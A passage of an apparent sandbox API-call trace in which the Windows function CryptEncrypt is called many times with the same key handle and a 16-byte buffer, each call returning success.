| out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.088] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.089] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.090] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.091] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.092] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0115.093] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 